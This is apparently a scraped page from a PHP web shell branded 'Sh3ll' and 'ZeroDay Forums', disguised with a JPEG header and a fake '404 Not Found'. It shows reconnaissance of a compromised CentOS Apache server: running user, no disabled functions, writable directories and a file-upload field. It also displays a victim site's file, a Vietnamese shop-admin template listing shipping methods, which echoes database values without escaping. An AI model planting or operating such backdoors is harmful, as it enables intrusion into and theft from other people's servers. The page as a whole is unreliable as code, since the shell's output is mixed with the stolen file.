ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/shipping/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/shipping/list_tpl.php
<?php
global $DB, $INFO, $print, $v_lang, $CORE;
?>

<section class="content">
    <div class="container-fluid">
        <div class="row">
            <div class="col-12">
                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title">Danh sách phương thức vận chuyển</h3>
                        <div class="card-tools">
                            <a href="?act=admin&code=shipping&type=shipping&action=add" class="btn btn-primary btn-sm">
                                <i class="fas fa-plus"></i> Thêm mới
                            </a>
                        </div>
                    </div>
                    <!-- /.card-header -->
                    <div class="card-body">
                        <table id="example1" class="table table-bordered table-striped">
                            <thead>
                            <tr>
                                <th style="width: 50px">ID</th>
                                <th>Tên phương thức</th>
                                <th>Mô tả</th>
                                <th>Chi phí</th>
                                <th style="width: 100px">Trạng thái</th>
                                <th style="width: 100px">Thứ tự</th>
                                <th style="width: 120px">Thao tác</th>
                            </tr>
                            </thead>
                            <tbody>
                            <?php if (isset($shipping_methods) && count($shipping_methods) > 0): ?>
                                <?php foreach ($shipping_methods as $method): ?>
                                    <tr>
                                        <td><?php echo $method['id']; ?></td>
                                        <td><?php echo $method['name']; ?></td>
                                        <td><?php echo $method['description']; ?></td>
                                        <td><?php echo number_format($method['cost']); ?> VNÄ</td>
                                        <td>
                                            <?php if ($method['status'] == 1): ?>
                                                <span class="badge badge-success">Hoạt động</span>
                                            <?php else: ?>
                                                <span class="badge badge-danger">Tạm dừng</span>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo $method['sort_order']; ?></td>
                                        <td>
                                            <a href="?act=admin&code=shipping&type=shipping&action=edit&id=<?php echo $method['id']; ?>" class="btn btn-info btn-sm">
                                                <i class="fas fa-pencil-alt"></i>
                                            </a>
                                            <a href="?act=admin&code=shipping&type=del&id=<?php echo $method['id']; ?>" class="btn btn-danger btn-sm" onclick="return confirm('Bạn có chắc chắn muốn xóa phương thức vận chuyển này?');">
                                                <i class="fas fa-trash"></i>
                                            </a>
                                        </td>
                                    </tr>
                                <?php endforeach; ?>
                            <?php else: ?>
                                <tr>
                                    <td colspan="7" class="text-center">Không có phương thức vận chuyển nào.</td>
                                </tr>
                            <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                    <!-- /.card-body -->
                </div>
                <!-- /.card -->
            </div>
            <!-- /.col -->
        </div>
        <!-- /.row -->
    </div>
    <!-- /.container-fluid -->
</section>

<script>
    $(function () {
        $("#example1").DataTable({
            "responsive": true,
            "autoWidth": false,
        });
    });
</script>

ZeroDay Forums Mini